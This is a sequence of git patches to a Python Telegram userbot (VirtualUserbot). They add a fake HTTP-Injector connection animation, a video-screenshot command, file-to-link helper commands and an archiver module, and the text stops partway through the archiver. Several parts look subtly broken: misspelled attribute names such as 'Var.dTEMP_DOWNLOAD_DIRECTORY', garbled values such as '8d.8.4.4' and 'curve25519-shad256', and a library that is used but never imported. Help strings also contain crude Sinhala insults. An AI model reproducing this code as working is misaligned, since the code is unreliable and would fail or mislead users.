Update fuck11.py --- fridaybot/modules/fuck11.py | 64 +++++++++++++++++++++++++++++++++++-- 1 file changed, 62 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 5d7c0d3f..2379541e 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -475,9 +475,9 @@ async def _(event): async def _(event): if event.fwd_from: return - animation_interval = 2 + animation_interval = 1 animation_ttl = range(18) - event = await edit_or_reply(event, "Calling Pavel Durov (ceo of telegram)......") + event = await edit_or_reply(event, "Connecting to Http Injector......") animation_chars = [ """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) [ 16:58:55] [START] service requested`""", @@ -526,6 +526,24 @@ async def _(event): [ 16:58:57] Injecting ] Status: 200 (Connection established) Successful - The action requested by the client was successful. [16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 [16:58:58] Key exchange algorithm: curve25519-sha256`""", """` [ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) @@ -625,6 +643,48 @@ async def _(event): + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + Password auth available [ 16:58:58] Authenticate with password [ 16:58:59] Forward Successful From 41908f4095c1d148c5f5fa4a60fb31e45ffec501 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 00:17:30 +0530 Subject: [PATCH 486/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 2379541e..b6148bf1 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -544,7 +544,7 @@ async def _(event): [ 16:58:57] Injecting ] Status: 200 (Connection established) Successful - The action requested by the client was successful. [16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 -[16:58:58] Key exchange algorithm: curve25519-sha256`""", +[16:58:58] Key exchange algorithm: curve25519-shad256`""", """` [ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) [ 16:58:55] [START] service requested @@ -739,7 +739,7 @@ async def _(event): [ 16:59:00] Starting DNS forwarding [ 16:59:00] Google DNS enabled [ 16:59:00] DNS forwarding enabled -[ 16:59:00] Routes: 0.0.0.0/0, 8.8.4.4/32, 8.8.8.8/32 +[ 16:59:00] Routes: 0.0.0.0/0, 8d.8.4.4/32, 8.8.8.8/32 `""", """` [ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) From d48f92c6645fed3029aa7373fe4e551d73c288a2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 00:19:21 +0530 Subject: [PATCH 487/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index b6148bf1..9318f64b 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -688,7 +688,7 @@ async def _(event): Password auth available [ 16:58:58] Authenticate with password [ 16:58:59] Forward Successful -[ 16:58:59] Connected +[ 16:58:00] Connected `""", """` From d5b9c4d704708fc46e01185f0704e75530eb20cb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 00:24:44 +0530 Subject: [PATCH 488/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 9318f64b..f0f08066 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -413,7 +413,7 @@ async def _(event): async def _(event): if event.fwd_from: return - event = await edit_or_reply(event, "ehifile") + event = await edit_or_reply(event, "cyfiles") await event.edit("❄️ **Disconnected**") await asyncio.sleep(2) await event.edit("🌩 **Connecting.**") @@ -951,4 +951,4 @@ async def _(event): -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) From 7287c9e79a101478631c9506f12f61cc93299f65 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 07:55:02 +0530 Subject: [PATCH 489/838] Create ssvideo.py --- fridaybot/modules/ssvideo.py | 66 ++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 fridaybot/modules/ssvideo.py diff --git a/fridaybot/modules/ssvideo.py b/fridaybot/modules/ssvideo.py new file mode 100644 index 00000000..00faa60e --- /dev/null +++ b/fridaybot/modules/ssvideo.py @@ -0,0 +1,66 @@ +# Copyright (C) 2020 Alfiananda P.A +# +# Licensed under the Raphielscape Public License, Version 1.d (the "License"); +# you may not use this file except in compliance with the License. +# +# Reconfigured for Virtualuserbot +import asyncio +import os +import time + +from telethon.tl.types import DocumentAttributeFilename +from fridaybot import CMD_HELP, bot +from fridaybot.events import register +from fridaybot.function import progress + + +@register(outgoing=True, pattern=r"^\.ssvideo(?: |$)(.*)") +async def ssvideo(framecap): + if not framecap.reply_to_msg_id: + return await framecap.edit("`reply to video!`") + reply_message = await framecap.get_reply_message() + if not reply_message.media: + return await framecap.edit("`reply to a video!`") + try: + frame = int(framecap.pattern_match.group(1)) + if frame > 10: + return await framecap.edit("`hey..dont put that much`") + except BaseException: + return await framecap.edit("`Please input number of frame!`") + if (reply_message.photo + or (DocumentAttributeFilename(file_name="AnimatedSticker.tgs") + in reply_message.media.document.attributes) + or (DocumentAttributeFilename(file_name="sticker.webp") + in reply_message.media.document.attributes) + ): + return await framecap.edit("`Unsupported files!`") + c_time = time.time() + await framecap.edit("`Downloading media...`") + ss = await bot.download_media( + reply_message, + "anu.mp4", + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, framecap, c_time, "[DOWNLOAD]") + ), + ) + try: + await framecap.edit("`Proccessing...`") + command = f"vcsi -g {frame}x{frame} {ss} -o ss.png " + os.system(command) + await framecap.client.send_file( + framecap.chat_id, + "ss.png", + reply_to=framecap.reply_to_msg_id, + ) + await framecap.delete() + except BaseException as e: + await framecap.edit(f"{e}") + os.system("rm -rf *.png *.mp4") + + +CMD_HELP.update({ + "ssvideo": + "`.ssvideo` " + "\nUsage: Capture video frames by x ." + "\n*max grid is 10." +}) From 1231514e91ec41f91a28eb953fa38f4c43d1489b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 11:38:04 +0530 Subject: [PATCH 490/838] Update utils.py --- fridaybot/utils.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/utils.py b/fridaybot/utils.py index ad48b654..546de674 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -501,6 +501,8 @@ def cmd(func): pattern = bothandler + add_cmd + "(?: |$)(.*)" elif is_args == "stark": pattern = bothandler + add_cmd + " (.*)" + elif is_args == "heck": + pattern = bothandler + add_cmd elif is_args == "snips": pattern = bothandler + add_cmd + " (\S+)" else: From 437e51161a09e65d8e12d24678828479f5e0db88 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 11:44:56 +0530 Subject: [PATCH 491/838] Update main_assistant.py --- fridaybot/modules/assistant/main_assistant.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/assistant/main_assistant.py b/fridaybot/modules/assistant/main_assistant.py index 089d1ad7..976f58e6 100644 --- a/fridaybot/modules/assistant/main_assistant.py +++ b/fridaybot/modules/assistant/main_assistant.py @@ -182,10 +182,10 @@ async def sed(event): ) -@assistant_cmd("broadcast", is_args=True) +@assistant_cmd("broadcast", is_args='heck') @god_only async def sedlyfsir(event): - msgtobroadcast = event.pattern_match.group(1) + msgtobroadcast = event.text.split(" ", maxsplit=1)[1] userstobc = get_all_users() error_count = 0 sent_count = 0 From 352263b5f4e642b012c4ae992fcfdcc34c92cefa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:01:22 +0530 Subject: [PATCH 492/838] Update oldgdrive.py --- fridaybot/modules/oldgdrive.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/oldgdrive.py b/fridaybot/modules/oldgdrive.py index 99542e6a..996ffb62 100644 --- a/fridaybot/modules/oldgdrive.py +++ b/fridaybot/modules/oldgdrive.py @@ -88,6 +88,7 @@ async def _(event): http = authorize(G_DRIVE_TOKEN_FILE, storage) f = open(G_DRIVE_TOKEN_FILE, "r") token_file_data = f.read() + event.edit('`Please check Log Group`') await event.client.send_message( int(Var.PRIVATE_GROUP_ID), "Please add Var AUTH_TOKEN_DATA with the following as the value:\n\n`" From d1ee4fd8785b039e96f43f0297daf7658bf8b201 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:06:59 +0530 Subject: [PATCH 493/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 55 +-------------------------------- 1 file changed, 1 insertion(+), 54 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 538dc0ef..5e9ef719 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -568,7 +568,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): if event.query.user_id != bot.uid: resultm = builder.article( title="Not Allowded", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualUserbot)", ) await event.answer([resultm]) return @@ -642,59 +642,6 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) -@tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) -async def inline_id_handler(event: events.InlineQuery.Event): - builder = event.builder - if event.query.user_id != bot.uid: - resultm = builder.article( - title="Not Allowded", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", - ) - await event.answer([resultm]) - return - testinput = event.pattern_match.group(1) - urllib.parse.quote_plus(testinput) - results = [] - moi = YoutubeSearch(testinput, max_results=9).to_dict() - if not moi: - resultm = builder.article( - title="No Results Found.", - description="Check Your Spelling / Keyword", - text="**Please, Search Again With Correct Keyword, Thank you !**", - buttons=[ - [Button.switch_inline("Search Again", query="yt ", same_peer=True)], - ], - ) - await event.answer([resultm]) - return - for moon in moi: - hmm = moon["id"] - mo = f"https://www.youtube.com/watch?v={hmm}" - kek = f"https://www.youtube.com/watch?v={hmm}" - stark_name = moon["title"] - stark_chnnl = moon["channel"] - total_stark = moon["duration"] - stark_views = moon["views"] - lol_desc = moon["long_desc"] - kekme = f"https://img.youtube.com/vi/{hmm}/hqdefault.jpg" - okayz = f"**Title :** `{stark_name}` \n**Link :** `{kek}` \n**Channel :** `{stark_chnnl}` \n**Views :** `{stark_views}` \n**Duration :** `{total_stark}`" - hmmkek = f"Video Name : {stark_name} \nChannel : {stark_chnnl} \nDuration : {total_stark} \nViews : {stark_views}" - results.append( - await event.builder.document( - file=kekme, - title=stark_name, - description=hmmkek, - text=okayz, - include_media=True, - buttons=[ - [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], - [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], - [Button.switch_inline("Search Again", query="yt ", same_peer=True)], - ] - ) - ) - await event.answer(results) - @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) From 724234fe583235ba5bdc06737b804335e9394ac7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:16:18 +0530 Subject: [PATCH 494/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index a2f1ccd0..cb088b88 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -15,7 +15,7 @@ async def _(event): await event.edit("**Reply to any document.**") return reply_message = await event.get_reply_message() - chat = "@FiletolinkTGbot" + chat = "@MaxFile2LinkBot" reply_message.sender await event.edit("**Making public url...**") async with event.client.conversation(chat) as conv: @@ -26,7 +26,7 @@ async def _(event): await event.client.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: - await event.reply("Please unblock me @FiletolinkTGbot") + await event.reply("Please unblock me @MaxFile2LinkBot") return await event.delete() await event.client.send_message( From a85c5fcec77ffa938c2137c9313db389f52d19eb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:25:32 +0530 Subject: [PATCH 495/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index cb088b88..fbda6163 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -21,7 +21,7 @@ async def _(event): async with event.client.conversation(chat) as conv: try: response = conv.wait_event( - events.NewMessage(incoming=True, from_users=1011636686) + events.NewMessage(incoming=True, from_users=1123481239) ) await event.client.forward_messages(chat, reply_message) response = await response From 33ec1d6243e77fd240a9ff623120ceb357268247 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:41:53 +0530 Subject: [PATCH 496/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index fbda6163..cd7362f2 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -15,18 +15,18 @@ async def _(event): await event.edit("**Reply to any document.**") return reply_message = await event.get_reply_message() - chat = "@MaxFile2LinkBot" + chat = "@FileToLinkDXBot" reply_message.sender await event.edit("**Making public url...**") async with event.client.conversation(chat) as conv: try: response = conv.wait_event( - events.NewMessage(incoming=True, from_users=1123481239) + events.NewMessage(incoming=True, from_users=1377765808) ) await event.client.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: - await event.reply("Please unblock me @MaxFile2LinkBot") + await event.reply("Please unblock me @FileToLinkDXBot") return await event.delete() await event.client.send_message( From 91bf8b3bdb7778ae891aa9fd40498b1737d88928 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:42:52 +0530 Subject: [PATCH 497/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index cd7362f2..8f7bfba1 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -1,4 +1,6 @@ # Written By Inuka Asith for the VirtualUserbot +# Exclusively written for VirtualUserbot +# Credits goes to bot providers import asyncio From 166fabc361ba74c61dcfd9c2a949b7bd2c9df0ff Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:47:23 +0530 Subject: [PATCH 498/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index 8f7bfba1..bf7b6afc 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -80,3 +80,15 @@ async def _(event): await event.edit("[Connected](https://t.me/missrose_bot)") await asyncio.sleep(3) await event.delete() + +CMD_HELP.update( + { + "Exclusive": "**Exclusive**\ +\n**Syntax : **`.purl`\ +\n**Usage :** Get Public link of any file**\ +\n\n**Syntax : **`.reader`\ +\n**Usage :** Read any website with telegrams Instant view**\ +\n\n**Syntax : **`.connector`\ +\n**Usage :** Connect to the chat with Rose**" + } +) From b1d996989d5bd0667e7e19e8d6587e633a26126d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:49:19 +0530 Subject: [PATCH 499/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index bf7b6afc..d3c1a9da 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -7,7 +7,7 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd - +from fridaybot import CMD_HELP @friday.on(admin_cmd(pattern=r"purl ?(.*)")) async def _(event): From 132e4f4f47fc0768d0f4238d1029ef07749651e4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 12:50:12 +0530 Subject: [PATCH 500/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index d3c1a9da..36b5ffaa 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -19,7 +19,7 @@ async def _(event): reply_message = await event.get_reply_message() chat = "@FileToLinkDXBot" reply_message.sender - await event.edit("**Making public url...**") + await event.edit("**Making public url...\n Powered by @VirtualUserbot**") async with event.client.conversation(chat) as conv: try: response = conv.wait_event( @@ -51,7 +51,7 @@ async def _(event): return chat = "@chotamreaderbot" reply_message.sender - await event.edit("**Making instant view...**") + await event.edit("**Making instant view...\n Powered by @VirtualUserbot**") async with event.client.conversation(chat) as conv: try: response = conv.wait_event( From 7710b302fc0c0f0d700bcfceba88df923090f3ad Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 13:36:58 +0530 Subject: [PATCH 501/838] Create archiver.py --- fridaybot/modules/archiver.py | 441 ++++++++++++++++++++++++++++++++++ 1 file changed, 441 insertions(+) create mode 100644 fridaybot/modules/archiver.py diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py new file mode 100644 index 00000000..0c9a71d2 --- /dev/null +++ b/fridaybot/modules/archiver.py @@ -0,0 +1,441 @@ +""" +usage: reply with file : .rar , .7z create archived file +unzip usage: reply with zipped file .unzipper +Coded by @furki +""" + +import asyncio +import os +import shutil +import tarfile +import time +import zipfile +from datetime import datetime + +from hachoir.metadata import extractMetadata +from hachoir.parser import createParser +from telethon.tl.types import DocumentAttributeVideo + +from fridaybot import CMD_HELP +from fridaybot.Config import Var +from ..utils import admin_cmd, progress + +thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" +extracted = Var.TEMP_DOWNLOAD_DIRECTORY + "extracted/" +if not os.path.isdir(extracted): + os.makedirs(extracted) + + + + +@borg.on(admin_cmd(pattern=("rar ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Var.dTEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + directory_name = downloaded_file_name + await event.edit("creating rar archive, please wait..") + # patoolib.create_archive(directory_name + '.7z',directory_name) + patoolib.create_archive( + directory_name + ".rar", (directory_name, Var.dTEMP_DOWNLOAD_DIRECTORY) + ) + # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) + await borg.send_file( + event.chat_id, + directory_name + ".rar", + caption="rarred By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(directory_name + ".rar") + os.remove(directory_name) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit( + "Local file compressed to `{}`".format(directory_name + ".rar") + ) + + +@borg.on(admin_cmd(pattern=("7z ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Var.dTEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + directory_name = downloaded_file_name + await event.edit("creating 7z archive, please wait..") + # patoolib.create_archive(directory_name + '.7z',directory_name) + patoolib.create_archive( + directory_name + ".7z", (directory_name, Var.dTEMP_DOWNLOAD_DIRECTORY) + ) + # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) + await borg.send_file( + event.chat_id, + directory_name + ".7z", + caption="7z archived By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(directory_name + ".7z") + os.remove(directory_name) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit("Local file compressed to `{}`".format(directory_name + ".7z")) + + +@borg.on(admin_cmd(pattern=("tar ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Var.dTEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + directory_name = downloaded_file_name + await event.edit("Finish downloading to my local") + to_upload_file = directory_name + output = await create_archive(to_upload_file) + is_zip = False + if is_zip: + check_if_file = await create_archive(to_upload_file) + if check_if_file is not None: + to_upload_file = check_if_file + await borg.send_file( + event.chat_id, + output, + caption="TAR By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(output) + os.remove(output) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit("Local file compressed to `{}`".format(output)) + + +async def create_archive(input_directory): + return_name = None + if os.path.exists(input_directory): + base_dir_name = os.path.basename(input_directory) + compressed_file_name = f"{base_dir_name}.tar.gz" + # suffix_extention_length = 1 + 3 + 1 + 2 + # if len(base_dir_name) > (64 - suffix_extention_length): + # compressed_file_name = base_dir_name[0:(64 - suffix_extention_length)] + compressed_file_name += ".tar.gz" + file_genertor_command = [ + "tar", + "-zcvf", + compressed_file_name, + f"{input_directory}", + ] + process = await asyncio.create_subprocess_exec( + *file_genertor_command, + # stdout must a pipe to be accessible as process.stdout + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + # Wait for the subprocess to finish + stdout, stderr = await process.communicate() + stderr.decode().strip() + stdout.decode().strip() + if os.path.exists(compressed_file_name): + try: + shutil.rmtree(input_directory) + except: + pass + return_name = compressed_file_name + return return_name + + + + +@borg.on(admin_cmd(pattern="unrar")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Var.dTEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit( + "Stored the rar to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + + patoolib.extract_archive(downloaded_file_name, outdir=extracted) + filename = sorted(get_lst_of_files(extracted, [])) + # filename = filename + "/" + await event.edit("Unraring now") + # r=root, d=directories, f = files + for single_file in filename: + if os.path.exists(single_file): + # https://stackoverflow.com/a/678242/4723940 + caption_rts = os.path.basename(single_file) + force_document = True + supports_streaming = False + document_attributes = [] + if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): + metadata = extractMetadata(createParser(single_file)) + duration = 0 + width = 0 + height = 0 + if metadata.has("duration"): + duration = metadata.get("duration").seconds + if os.path.exists(thumb_image_path): + metadata = extractMetadata(createParser(thumb_image_path)) + if metadata.has("width"): + width = 